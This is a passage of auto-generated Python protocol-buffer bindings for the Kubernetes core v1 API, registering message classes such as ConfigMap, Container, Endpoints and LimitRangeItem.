_WINDOWSSECURITYCONTEXTOPTIONS _sym_db.RegisterFileDescriptor(DESCRIPTOR) AWSElasticBlockStoreVolumeSource = _reflection.GeneratedProtocolMessageType('AWSElasticBlockStoreVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _AWSELASTICBLOCKSTOREVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource) }) _sym_db.RegisterMessage(AWSElasticBlockStoreVolumeSource) Affinity = _reflection.GeneratedProtocolMessageType('Affinity', (_message.Message,), { 'DESCRIPTOR' : _AFFINITY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Affinity) }) _sym_db.RegisterMessage(Affinity) AttachedVolume = _reflection.GeneratedProtocolMessageType('AttachedVolume', (_message.Message,), { 'DESCRIPTOR' : _ATTACHEDVOLUME, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.AttachedVolume) }) _sym_db.RegisterMessage(AttachedVolume) AvoidPods = _reflection.GeneratedProtocolMessageType('AvoidPods', (_message.Message,), { 'DESCRIPTOR' : _AVOIDPODS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.AvoidPods) }) _sym_db.RegisterMessage(AvoidPods) AzureDiskVolumeSource = _reflection.GeneratedProtocolMessageType('AzureDiskVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _AZUREDISKVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.AzureDiskVolumeSource) }) _sym_db.RegisterMessage(AzureDiskVolumeSource) AzureFilePersistentVolumeSource = _reflection.GeneratedProtocolMessageType('AzureFilePersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _AZUREFILEPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.AzureFilePersistentVolumeSource) }) _sym_db.RegisterMessage(AzureFilePersistentVolumeSource) AzureFileVolumeSource = _reflection.GeneratedProtocolMessageType('AzureFileVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _AZUREFILEVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.AzureFileVolumeSource) }) _sym_db.RegisterMessage(AzureFileVolumeSource) Binding = _reflection.GeneratedProtocolMessageType('Binding', (_message.Message,), { 'DESCRIPTOR' : _BINDING, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Binding) }) _sym_db.RegisterMessage(Binding) CSIPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('CSIPersistentVolumeSource', (_message.Message,), { 'VolumeAttributesEntry' : _reflection.GeneratedProtocolMessageType('VolumeAttributesEntry', (_message.Message,), { 'DESCRIPTOR' : _CSIPERSISTENTVOLUMESOURCE_VOLUMEATTRIBUTESENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CSIPersistentVolumeSource.VolumeAttributesEntry) }) , 'DESCRIPTOR' : _CSIPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CSIPersistentVolumeSource) }) _sym_db.RegisterMessage(CSIPersistentVolumeSource) _sym_db.RegisterMessage(CSIPersistentVolumeSource.VolumeAttributesEntry) CSIVolumeSource = _reflection.GeneratedProtocolMessageType('CSIVolumeSource', (_message.Message,), { 'VolumeAttributesEntry' : _reflection.GeneratedProtocolMessageType('VolumeAttributesEntry', (_message.Message,), { 'DESCRIPTOR' : _CSIVOLUMESOURCE_VOLUMEATTRIBUTESENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CSIVolumeSource.VolumeAttributesEntry) }) , 'DESCRIPTOR' : _CSIVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CSIVolumeSource) }) _sym_db.RegisterMessage(CSIVolumeSource) _sym_db.RegisterMessage(CSIVolumeSource.VolumeAttributesEntry) Capabilities = _reflection.GeneratedProtocolMessageType('Capabilities', (_message.Message,), { 'DESCRIPTOR' : _CAPABILITIES, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Capabilities) }) _sym_db.RegisterMessage(Capabilities) CephFSPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('CephFSPersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _CEPHFSPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CephFSPersistentVolumeSource) }) _sym_db.RegisterMessage(CephFSPersistentVolumeSource) CephFSVolumeSource = _reflection.GeneratedProtocolMessageType('CephFSVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _CEPHFSVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CephFSVolumeSource) }) _sym_db.RegisterMessage(CephFSVolumeSource) CinderPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('CinderPersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _CINDERPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CinderPersistentVolumeSource) }) _sym_db.RegisterMessage(CinderPersistentVolumeSource) CinderVolumeSource = _reflection.GeneratedProtocolMessageType('CinderVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _CINDERVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.CinderVolumeSource) }) _sym_db.RegisterMessage(CinderVolumeSource) ClientIPConfig = _reflection.GeneratedProtocolMessageType('ClientIPConfig', (_message.Message,), { 'DESCRIPTOR' : _CLIENTIPCONFIG, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ClientIPConfig) }) _sym_db.RegisterMessage(ClientIPConfig) ComponentCondition = _reflection.GeneratedProtocolMessageType('ComponentCondition', (_message.Message,), { 'DESCRIPTOR' : _COMPONENTCONDITION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ComponentCondition) }) _sym_db.RegisterMessage(ComponentCondition) ComponentStatus = _reflection.GeneratedProtocolMessageType('ComponentStatus', (_message.Message,), { 'DESCRIPTOR' : _COMPONENTSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ComponentStatus) }) _sym_db.RegisterMessage(ComponentStatus) ComponentStatusList = _reflection.GeneratedProtocolMessageType('ComponentStatusList', (_message.Message,), { 'DESCRIPTOR' : _COMPONENTSTATUSLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ComponentStatusList) }) _sym_db.RegisterMessage(ComponentStatusList) ConfigMap = _reflection.GeneratedProtocolMessageType('ConfigMap', (_message.Message,), { 'DataEntry' : _reflection.GeneratedProtocolMessageType('DataEntry', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAP_DATAENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMap.DataEntry) }) , 'BinaryDataEntry' : _reflection.GeneratedProtocolMessageType('BinaryDataEntry', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAP_BINARYDATAENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMap.BinaryDataEntry) }) , 'DESCRIPTOR' : _CONFIGMAP, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMap) }) _sym_db.RegisterMessage(ConfigMap) _sym_db.RegisterMessage(ConfigMap.DataEntry) _sym_db.RegisterMessage(ConfigMap.BinaryDataEntry) ConfigMapEnvSource = _reflection.GeneratedProtocolMessageType('ConfigMapEnvSource', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAPENVSOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMapEnvSource) }) _sym_db.RegisterMessage(ConfigMapEnvSource) ConfigMapKeySelector = _reflection.GeneratedProtocolMessageType('ConfigMapKeySelector', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAPKEYSELECTOR, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMapKeySelector) }) _sym_db.RegisterMessage(ConfigMapKeySelector) ConfigMapList = _reflection.GeneratedProtocolMessageType('ConfigMapList', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAPLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMapList) }) _sym_db.RegisterMessage(ConfigMapList) ConfigMapNodeConfigSource = _reflection.GeneratedProtocolMessageType('ConfigMapNodeConfigSource', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAPNODECONFIGSOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMapNodeConfigSource) }) _sym_db.RegisterMessage(ConfigMapNodeConfigSource) ConfigMapProjection = _reflection.GeneratedProtocolMessageType('ConfigMapProjection', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAPPROJECTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMapProjection) }) _sym_db.RegisterMessage(ConfigMapProjection) ConfigMapVolumeSource = _reflection.GeneratedProtocolMessageType('ConfigMapVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _CONFIGMAPVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ConfigMapVolumeSource) }) _sym_db.RegisterMessage(ConfigMapVolumeSource) Container = _reflection.GeneratedProtocolMessageType('Container', (_message.Message,), { 'DESCRIPTOR' : _CONTAINER, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Container) }) _sym_db.RegisterMessage(Container) ContainerImage = _reflection.GeneratedProtocolMessageType('ContainerImage', (_message.Message,), { 'DESCRIPTOR' : _CONTAINERIMAGE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ContainerImage) }) _sym_db.RegisterMessage(ContainerImage) ContainerPort = _reflection.GeneratedProtocolMessageType('ContainerPort', (_message.Message,), { 'DESCRIPTOR' : _CONTAINERPORT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ContainerPort) }) _sym_db.RegisterMessage(ContainerPort) ContainerState = _reflection.GeneratedProtocolMessageType('ContainerState', (_message.Message,), { 'DESCRIPTOR' : _CONTAINERSTATE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ContainerState) }) _sym_db.RegisterMessage(ContainerState) ContainerStateRunning = _reflection.GeneratedProtocolMessageType('ContainerStateRunning', (_message.Message,), { 'DESCRIPTOR' : _CONTAINERSTATERUNNING, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ContainerStateRunning) }) _sym_db.RegisterMessage(ContainerStateRunning) ContainerStateTerminated = _reflection.GeneratedProtocolMessageType('ContainerStateTerminated', (_message.Message,), { 'DESCRIPTOR' : _CONTAINERSTATETERMINATED, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ContainerStateTerminated) }) _sym_db.RegisterMessage(ContainerStateTerminated) ContainerStateWaiting = _reflection.GeneratedProtocolMessageType('ContainerStateWaiting', (_message.Message,), { 'DESCRIPTOR' : _CONTAINERSTATEWAITING, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ContainerStateWaiting) }) _sym_db.RegisterMessage(ContainerStateWaiting) ContainerStatus = _reflection.GeneratedProtocolMessageType('ContainerStatus', (_message.Message,), { 'DESCRIPTOR' : _CONTAINERSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ContainerStatus) }) _sym_db.RegisterMessage(ContainerStatus) DaemonEndpoint = _reflection.GeneratedProtocolMessageType('DaemonEndpoint', (_message.Message,), { 'DESCRIPTOR' : _DAEMONENDPOINT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.DaemonEndpoint) }) _sym_db.RegisterMessage(DaemonEndpoint) DownwardAPIProjection = _reflection.GeneratedProtocolMessageType('DownwardAPIProjection', (_message.Message,), { 'DESCRIPTOR' : _DOWNWARDAPIPROJECTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.DownwardAPIProjection) }) _sym_db.RegisterMessage(DownwardAPIProjection) DownwardAPIVolumeFile = _reflection.GeneratedProtocolMessageType('DownwardAPIVolumeFile', (_message.Message,), { 'DESCRIPTOR' : _DOWNWARDAPIVOLUMEFILE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.DownwardAPIVolumeFile) }) _sym_db.RegisterMessage(DownwardAPIVolumeFile) DownwardAPIVolumeSource = _reflection.GeneratedProtocolMessageType('DownwardAPIVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _DOWNWARDAPIVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.DownwardAPIVolumeSource) }) _sym_db.RegisterMessage(DownwardAPIVolumeSource) EmptyDirVolumeSource = _reflection.GeneratedProtocolMessageType('EmptyDirVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _EMPTYDIRVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EmptyDirVolumeSource) }) _sym_db.RegisterMessage(EmptyDirVolumeSource) EndpointAddress = _reflection.GeneratedProtocolMessageType('EndpointAddress', (_message.Message,), { 'DESCRIPTOR' : _ENDPOINTADDRESS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EndpointAddress) }) _sym_db.RegisterMessage(EndpointAddress) EndpointPort = _reflection.GeneratedProtocolMessageType('EndpointPort', (_message.Message,), { 'DESCRIPTOR' : _ENDPOINTPORT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EndpointPort) }) _sym_db.RegisterMessage(EndpointPort) EndpointSubset = _reflection.GeneratedProtocolMessageType('EndpointSubset', (_message.Message,), { 'DESCRIPTOR' : _ENDPOINTSUBSET, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EndpointSubset) }) _sym_db.RegisterMessage(EndpointSubset) Endpoints = _reflection.GeneratedProtocolMessageType('Endpoints', (_message.Message,), { 'DESCRIPTOR' : _ENDPOINTS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Endpoints) }) _sym_db.RegisterMessage(Endpoints) EndpointsList = _reflection.GeneratedProtocolMessageType('EndpointsList', (_message.Message,), { 'DESCRIPTOR' : _ENDPOINTSLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EndpointsList) }) _sym_db.RegisterMessage(EndpointsList) EnvFromSource = _reflection.GeneratedProtocolMessageType('EnvFromSource', (_message.Message,), { 'DESCRIPTOR' : _ENVFROMSOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EnvFromSource) }) _sym_db.RegisterMessage(EnvFromSource) EnvVar = _reflection.GeneratedProtocolMessageType('EnvVar', (_message.Message,), { 'DESCRIPTOR' : _ENVVAR, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EnvVar) }) _sym_db.RegisterMessage(EnvVar) EnvVarSource = _reflection.GeneratedProtocolMessageType('EnvVarSource', (_message.Message,), { 'DESCRIPTOR' : _ENVVARSOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EnvVarSource) }) _sym_db.RegisterMessage(EnvVarSource) EphemeralContainer = _reflection.GeneratedProtocolMessageType('EphemeralContainer', (_message.Message,), { 'DESCRIPTOR' : _EPHEMERALCONTAINER, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EphemeralContainer) }) _sym_db.RegisterMessage(EphemeralContainer) EphemeralContainerCommon = _reflection.GeneratedProtocolMessageType('EphemeralContainerCommon', (_message.Message,), { 'DESCRIPTOR' : _EPHEMERALCONTAINERCOMMON, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EphemeralContainerCommon) }) _sym_db.RegisterMessage(EphemeralContainerCommon) EphemeralVolumeSource = _reflection.GeneratedProtocolMessageType('EphemeralVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _EPHEMERALVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EphemeralVolumeSource) }) _sym_db.RegisterMessage(EphemeralVolumeSource) Event = _reflection.GeneratedProtocolMessageType('Event', (_message.Message,), { 'DESCRIPTOR' : _EVENT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Event) }) _sym_db.RegisterMessage(Event) EventList = _reflection.GeneratedProtocolMessageType('EventList', (_message.Message,), { 'DESCRIPTOR' : _EVENTLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EventList) }) _sym_db.RegisterMessage(EventList) EventSeries = _reflection.GeneratedProtocolMessageType('EventSeries', (_message.Message,), { 'DESCRIPTOR' : _EVENTSERIES, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EventSeries) }) _sym_db.RegisterMessage(EventSeries) EventSource = _reflection.GeneratedProtocolMessageType('EventSource', (_message.Message,), { 'DESCRIPTOR' : _EVENTSOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.EventSource) }) _sym_db.RegisterMessage(EventSource) ExecAction = _reflection.GeneratedProtocolMessageType('ExecAction', (_message.Message,), { 'DESCRIPTOR' : _EXECACTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ExecAction) }) _sym_db.RegisterMessage(ExecAction) FCVolumeSource = _reflection.GeneratedProtocolMessageType('FCVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _FCVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.FCVolumeSource) }) _sym_db.RegisterMessage(FCVolumeSource) FlexPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('FlexPersistentVolumeSource', (_message.Message,), { 'OptionsEntry' : _reflection.GeneratedProtocolMessageType('OptionsEntry', (_message.Message,), { 'DESCRIPTOR' : _FLEXPERSISTENTVOLUMESOURCE_OPTIONSENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.FlexPersistentVolumeSource.OptionsEntry) }) , 'DESCRIPTOR' : _FLEXPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.FlexPersistentVolumeSource) }) _sym_db.RegisterMessage(FlexPersistentVolumeSource) _sym_db.RegisterMessage(FlexPersistentVolumeSource.OptionsEntry) FlexVolumeSource = _reflection.GeneratedProtocolMessageType('FlexVolumeSource', (_message.Message,), { 'OptionsEntry' : _reflection.GeneratedProtocolMessageType('OptionsEntry', (_message.Message,), { 'DESCRIPTOR' : _FLEXVOLUMESOURCE_OPTIONSENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.FlexVolumeSource.OptionsEntry) }) , 'DESCRIPTOR' : _FLEXVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.FlexVolumeSource) }) _sym_db.RegisterMessage(FlexVolumeSource) _sym_db.RegisterMessage(FlexVolumeSource.OptionsEntry) FlockerVolumeSource = _reflection.GeneratedProtocolMessageType('FlockerVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _FLOCKERVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.FlockerVolumeSource) }) _sym_db.RegisterMessage(FlockerVolumeSource) GCEPersistentDiskVolumeSource = _reflection.GeneratedProtocolMessageType('GCEPersistentDiskVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _GCEPERSISTENTDISKVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.GCEPersistentDiskVolumeSource) }) _sym_db.RegisterMessage(GCEPersistentDiskVolumeSource) GRPCAction = _reflection.GeneratedProtocolMessageType('GRPCAction', (_message.Message,), { 'DESCRIPTOR' : _GRPCACTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.GRPCAction) }) _sym_db.RegisterMessage(GRPCAction) GitRepoVolumeSource = _reflection.GeneratedProtocolMessageType('GitRepoVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _GITREPOVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.GitRepoVolumeSource) }) _sym_db.RegisterMessage(GitRepoVolumeSource) GlusterfsPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('GlusterfsPersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _GLUSTERFSPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.GlusterfsPersistentVolumeSource) }) _sym_db.RegisterMessage(GlusterfsPersistentVolumeSource) GlusterfsVolumeSource = _reflection.GeneratedProtocolMessageType('GlusterfsVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _GLUSTERFSVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.GlusterfsVolumeSource) }) _sym_db.RegisterMessage(GlusterfsVolumeSource) HTTPGetAction = _reflection.GeneratedProtocolMessageType('HTTPGetAction', (_message.Message,), { 'DESCRIPTOR' : _HTTPGETACTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.HTTPGetAction) }) _sym_db.RegisterMessage(HTTPGetAction) HTTPHeader = _reflection.GeneratedProtocolMessageType('HTTPHeader', (_message.Message,), { 'DESCRIPTOR' : _HTTPHEADER, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.HTTPHeader) }) _sym_db.RegisterMessage(HTTPHeader) HostAlias = _reflection.GeneratedProtocolMessageType('HostAlias', (_message.Message,), { 'DESCRIPTOR' : _HOSTALIAS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.HostAlias) }) _sym_db.RegisterMessage(HostAlias) HostPathVolumeSource = _reflection.GeneratedProtocolMessageType('HostPathVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _HOSTPATHVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.HostPathVolumeSource) }) _sym_db.RegisterMessage(HostPathVolumeSource) ISCSIPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('ISCSIPersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _ISCSIPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ISCSIPersistentVolumeSource) }) _sym_db.RegisterMessage(ISCSIPersistentVolumeSource) ISCSIVolumeSource = _reflection.GeneratedProtocolMessageType('ISCSIVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _ISCSIVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ISCSIVolumeSource) }) _sym_db.RegisterMessage(ISCSIVolumeSource) KeyToPath = _reflection.GeneratedProtocolMessageType('KeyToPath', (_message.Message,), { 'DESCRIPTOR' : _KEYTOPATH, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.KeyToPath) }) _sym_db.RegisterMessage(KeyToPath) Lifecycle = _reflection.GeneratedProtocolMessageType('Lifecycle', (_message.Message,), { 'DESCRIPTOR' : _LIFECYCLE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Lifecycle) }) _sym_db.RegisterMessage(Lifecycle) LifecycleHandler = _reflection.GeneratedProtocolMessageType('LifecycleHandler', (_message.Message,), { 'DESCRIPTOR' : _LIFECYCLEHANDLER, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LifecycleHandler) }) _sym_db.RegisterMessage(LifecycleHandler) LimitRange = _reflection.GeneratedProtocolMessageType('LimitRange', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRange) }) _sym_db.RegisterMessage(LimitRange) LimitRangeItem = _reflection.GeneratedProtocolMessageType('LimitRangeItem', (_message.Message,), { 'MaxEntry' : _reflection.GeneratedProtocolMessageType('MaxEntry', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGEITEM_MAXENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeItem.MaxEntry) }) , 'MinEntry' : _reflection.GeneratedProtocolMessageType('MinEntry', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGEITEM_MINENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeItem.MinEntry) }) , 'DefaultEntry' : _reflection.GeneratedProtocolMessageType('DefaultEntry', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGEITEM_DEFAULTENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeItem.DefaultEntry) }) , 'DefaultRequestEntry' : _reflection.GeneratedProtocolMessageType('DefaultRequestEntry', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGEITEM_DEFAULTREQUESTENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeItem.DefaultRequestEntry) }) , 'MaxLimitRequestRatioEntry' : _reflection.GeneratedProtocolMessageType('MaxLimitRequestRatioEntry', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGEITEM_MAXLIMITREQUESTRATIOENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeItem.MaxLimitRequestRatioEntry) }) , 'DESCRIPTOR' : _LIMITRANGEITEM, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeItem) }) _sym_db.RegisterMessage(LimitRangeItem) _sym_db.RegisterMessage(LimitRangeItem.MaxEntry) _sym_db.RegisterMessage(LimitRangeItem.MinEntry) _sym_db.RegisterMessage(LimitRangeItem.DefaultEntry) 